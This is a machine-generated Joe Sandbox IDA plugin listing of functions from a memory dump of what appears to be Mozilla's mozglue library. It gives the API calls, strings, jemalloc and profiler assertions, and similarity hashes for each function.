floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA43902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA43939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA43970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA439EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA43A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA43AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA43E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA43EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA43EE2

Part of subcall function 6CA46180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CA461DD
Part of subcall function 6CA46180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CA4622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA440F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA4412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA44157

Part of subcall function 6CA46180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CA46250
Part of subcall function 6CA46180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA46292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA4441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA44448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA4484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA44863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA44878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA44896
free.MOZGLUE ref: 6CA4489F

Strings

, xrefs: 6CA44CD2

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 31bac7e15a2997573823a2dbc65305dba0742bff45a6b111ca7378f0cf3195f9
Instruction ID: 6d466a47b78ee11a7afb22aaac7961abbdd42cdef8862815ad173d0c28521709
Opcode Fuzzy Hash: 31bac7e15a2997573823a2dbc65305dba0742bff45a6b111ca7378f0cf3195f9
Instruction Fuzzy Hash: BAF25774908B808FC725CF28C18469AFBF1FF8A318F55CA5ED98997711DB319896CB42

Function 6C9F64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C9F64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C9F64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C9F6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C9F6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C9F652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C9F671C
GetCurrentProcess.KERNEL32 ref: 6C9F6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C9F672F
GetCurrentProcess.KERNEL32 ref: 6C9F6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C9F6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C9F6A80
GetSystemInfo.KERNEL32(?), ref: 6C9F6ABE
__Init_thread_footer.LIBCMT ref: 6C9F6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9F6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9F6AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C9F6798
_etoured.dll, xrefs: 6C9F64ED
detoured.dll, xrefs: 6C9F64DA
nvd3d9wrap.dll, xrefs: 6C9F6500
nvdxgiwrap.dll, xrefs: 6C9F6513
user32.dll, xrefs: 6C9F6526

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: d7ad200e3f8d68cfa50fa7b92e2dfe11b4c39a2779c5bdfbdc626bb5c9556d55
Instruction ID: 78f0f0641bd669cbb523b9d03f0b7cfdda91b22451f41da4e4e26d35a20f0593
Opcode Fuzzy Hash: d7ad200e3f8d68cfa50fa7b92e2dfe11b4c39a2779c5bdfbdc626bb5c9556d55
Instruction Fuzzy Hash: 1BF1E57090531A9FDB20CF25CD487AAB7B9EF45318F1482D9E829A3641D731EE86CF90

Function 6CA160A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA6E7DC), ref: 6CA160C9
LeaveCriticalSection.KERNEL32(6CA6E7DC), ref: 6CA1610D
EnterCriticalSection.KERNEL32(?), ref: 6CA1618C
LeaveCriticalSection.KERNEL32(?), ref: 6CA161F9

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA16BC7, 6CA16F97, 6CA16FB2
MALLOC_OPTIONS, xrefs: 6CA16888
Compile-time page size does not divide the runtime one., xrefs: 6CA16AAE
<jemalloc>, xrefs: 6CA16AA9, 6CA16B59
MOZ_CRASH(), xrefs: 6CA16AB8
: (malloc) Unsupported character in malloc options: ', xrefs: 6CA16B6A

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: dcf3a35d4e106ccc49b52ae138b5f45929aced12b03ad63f3c28c3d25c1ce7c3
Instruction ID: f5bcd695507febaa1a735aa8754aae820adc3d4fb4eabd0bfdd1d1f4dfba2587
Opcode Fuzzy Hash: dcf3a35d4e106ccc49b52ae138b5f45929aced12b03ad63f3c28c3d25c1ce7c3
Instruction Fuzzy Hash: E4A28C71A097118FD708CF19C950725BBE2FB85328F29C66DE869CBB91D771E881CB81

Function 6CA4C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA4C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA4C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CA4C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CA4C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CA4C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA4CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CA4CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA4DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CA4DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CA4DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA4DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CA4DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CA4E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA4E432
memcpy.VCRUNTIME140(?,?,?), ref: 6CA4E472

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: c5655055c185a045418913140271efd55698431ece924fc64f19368bb174583f
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: AA337D71E0021ACFCB14CFA8C8806ADFBF2FF49314F298269D955AB755D731A985CB90

Function 6C9FFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA6E7B8), ref: 6C9FFF81
LeaveCriticalSection.KERNEL32(6CA6E7B8), ref: 6CA0022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CA00240
EnterCriticalSection.KERNEL32(6CA6E768), ref: 6CA0025B
LeaveCriticalSection.KERNEL32(6CA6E768), ref: 6CA0027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C9FFE99, 6C9FFEB7, 6C9FFED3, 6CA00DB8, 6CA00DD3, 6CA019B4
<jemalloc>, xrefs: 6CA00D62, 6CA00D76, 6CA00DA7
: (malloc) Error in VirtualFree(), xrefs: 6CA00D67, 6CA00D7B, 6CA00DAC

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: c799d53c14b79ea87499ebae6592f9763086b85c11259bbf8629a3ad79266e05
Instruction ID: ef363c131923beece851415a5ab8cff4d2f4b2eb515413eee2a27abcb3272274
Opcode Fuzzy Hash: c799d53c14b79ea87499ebae6592f9763086b85c11259bbf8629a3ad79266e05
Instruction Fuzzy Hash: 73C2BC71B057418FD714CF29C980756BBE1BF86368F28C66DE5A98B795C731E881CB80

Function 6CA4E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CA4E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA4EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CA4EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA4EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA4F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CA4F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA50E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CA50E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CA50EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CA50ED4

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: cd77a850bfd2bb3a132e3bfa9065d26b56c74e0a5d6e8082de12d67d074b29a5
Instruction ID: 3c2c29e9aed2de7e018b42f88723d102cd79cf0cf317275f7fa36637552cc28d
Opcode Fuzzy Hash: cd77a850bfd2bb3a132e3bfa9065d26b56c74e0a5d6e8082de12d67d074b29a5
Instruction Fuzzy Hash: 03638F71E0025A8FCB04CFACC8905EDFBB2FF89314F698269D855AB755D730A985CB90

Function 6CA23E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6CA47770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CA23E7D,?,?,?,6CA23E7D,?,?), ref: 6CA4777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CA23F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CA23F5C
VerSetConditionMask.NTDLL ref: 6CA23F8D
VerSetConditionMask.NTDLL ref: 6CA23F99
VerSetConditionMask.NTDLL ref: 6CA23FA0
VerSetConditionMask.NTDLL ref: 6CA23FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CA23FB4

Strings

nvd3d9wrap.dll, xrefs: 6CA24466
nvinit.dll, xrefs: 6CA24479

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: 4d82ab26fb5cb7eb3957b52a152f46edf34e769102be341253596f393e85f993
Instruction ID: 35b4ecdb827041403da5649f583aeca8d6385ee185555b779ab40da33b1731e6
Opcode Fuzzy Hash: 4d82ab26fb5cb7eb3957b52a152f46edf34e769102be341253596f393e85f993
Instruction Fuzzy Hash: BB522531610B455FD715DF34C980AAB77F9AF55208F48892DE4A2CBB42CBB4F94ACB60

Function 6CA0ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CA0EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CA0EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CA11695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA116B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CA11770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CA11A3E

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 437be0549c90f9ef308baca26340f02a13b896cbb1757fb249670f89dcf63fa1
Instruction ID: 3ce809a94500c65ab7cf53b6af61b45690623ed18e284307a1feb2c4da9708ef
Opcode Fuzzy Hash: 437be0549c90f9ef308baca26340f02a13b896cbb1757fb249670f89dcf63fa1
Instruction Fuzzy Hash: 03B32B71E04219CFCB14CFA9C890AADB7B2BF49304F1981A9D559BBB45D730AD85CF90

Function 6C9FFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA6E7B8), ref: 6C9FFF81
LeaveCriticalSection.KERNEL32(6CA6E7B8), ref: 6CA0022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CA00240
EnterCriticalSection.KERNEL32(6CA6E768), ref: 6CA0025B
LeaveCriticalSection.KERNEL32(6CA6E768), ref: 6CA0027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C9FFE99, 6C9FFEB7, 6C9FFED3, 6CA00DB8, 6CA00DD3, 6CA019B4, 6CA01A10
MOZ_CRASH(), xrefs: 6CA00CA7

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 2d87042ee681671063d9b3cee7b6a55a0525b1b08eaacfa1dfef2ef5acb99f18
Instruction ID: e0d064cabed5d37cbfd0764742e307fb7527a69c86b3461a2b046e3889296cae
Opcode Fuzzy Hash: 2d87042ee681671063d9b3cee7b6a55a0525b1b08eaacfa1dfef2ef5acb99f18
Instruction Fuzzy Hash: E9B2AB717057418FD718CF29D580766BBE1AF8936CF28C66CE96A8BB95C730E881CB41

Function 6CA35600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Count entry, xrefs: 6CA35AC3
data, xrefs: 6CA36131
schema, xrefs: 6CA3606D
ProfileBuffer parse error: %s, xrefs: 6CA35AC8, 6CA35CBB
name, xrefs: 6CA35E79, 6CA35E8F
expected a Time entry, xrefs: 6CA35CB6

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 6dd2bce55bc84ed0df8a6cf2827610553f14196e1503a09b2574e2d3ba659864
Instruction ID: 59385c79bc1d09d621f24984daa0f323875b04704b886ad9ce421c197dade717
Opcode Fuzzy Hash: 6dd2bce55bc84ed0df8a6cf2827610553f14196e1503a09b2574e2d3ba659864
Instruction Fuzzy Hash: DC925B71A083518FD724CF28C59079ABBE1BFC9308F54891DE59ADB751DB30E889CB92

Function 6CA32E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CA32ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA32EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6CA32F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA33214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA33242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA336BF

Strings

get , xrefs: 6CA33205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6CA3378D
set , xrefs: 6CA336EC

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 92b7f3858ebd1f417277671d5dd75d3a4f8a84da440a8c396f86e4b539dd038f
Instruction ID: ad31cb49a27a48c535d39aa8db4ce9eb6e8eca623e29f29b4b0651912c7b9c22
Opcode Fuzzy Hash: 92b7f3858ebd1f417277671d5dd75d3a4f8a84da440a8c396f86e4b539dd038f
Instruction Fuzzy Hash: D2327C7060D3818FD324CF24C4A06AEBBE2AFC9318F58991DE5D987751DB31D98ACB52

Function 6CA27E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6CA28280, 6CA283E1
schema, xrefs: 6CA281E3, 6CA28311
name, xrefs: 6CA27ECF, 6CA28335
(pre-xul), xrefs: 6CA27E88

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: b706deed52bfca30c414ed1e34b32f2e0c50395c0161888b6af25eae0f01490e
Instruction ID: 08e0c32d6ff4b0b23ed981c57b7371f6437467eb4acc89a0209fc8d276636b35
Opcode Fuzzy Hash: b706deed52bfca30c414ed1e34b32f2e0c50395c0161888b6af25eae0f01490e
Instruction Fuzzy Hash: 44E19FB1A043508FC710CF69C84066BFBE9BF94318F158A2DE995D7B80DB74DD898B91

Function 6CA0D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA6E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA1D1C5), ref: 6CA0D4F2
LeaveCriticalSection.KERNEL32(6CA6E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA1D1C5), ref: 6CA0D50B

Part of subcall function 6C9ECFE0: EnterCriticalSection.KERNEL32(6CA6E784), ref: 6C9ECFF6
Part of subcall function 6C9ECFE0: LeaveCriticalSection.KERNEL32(6CA6E784), ref: 6C9ED026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA1D1C5), ref: 6CA0D52E
EnterCriticalSection.KERNEL32(6CA6E7DC), ref: 6CA0D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA0D6A6
LeaveCriticalSection.KERNEL32(6CA6E7DC), ref: 6CA0D712
LeaveCriticalSection.KERNEL32(6CA6E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA1D1C5), ref: 6CA0D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA0D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6CA0D82C
<jemalloc>, xrefs: 6CA0D827

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 4766fc07c482630a926f5390652a7020d1b7cef27e011a057bd644762523dc4f
Instruction ID: 6eb402b8af95687b397ea6ba78425f12f2b00e3a298f20da4cf6fdd51b95a448
Opcode Fuzzy Hash: 4766fc07c482630a926f5390652a7020d1b7cef27e011a057bd644762523dc4f
Instruction Fuzzy Hash: D591B272F047018FD718CF29D59076AB7E1EB89358F18892EE59A87F81D730E885CB81

Function 6CA05E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA05EDB
memset.VCRUNTIME140(6CA47765,000000E5,55CCCCCC), ref: 6CA05F27
LeaveCriticalSection.KERNEL32(?), ref: 6CA05FB2
memset.VCRUNTIME140(6CA47765,000000E5,A6C09015), ref: 6CA061F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CA07652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CA072F8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA07BCD, 6CA07C1F, 6CA07C34, 6CA080FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CA072E3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CA0730D
MOZ_CRASH(), xrefs: 6CA07BA4

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

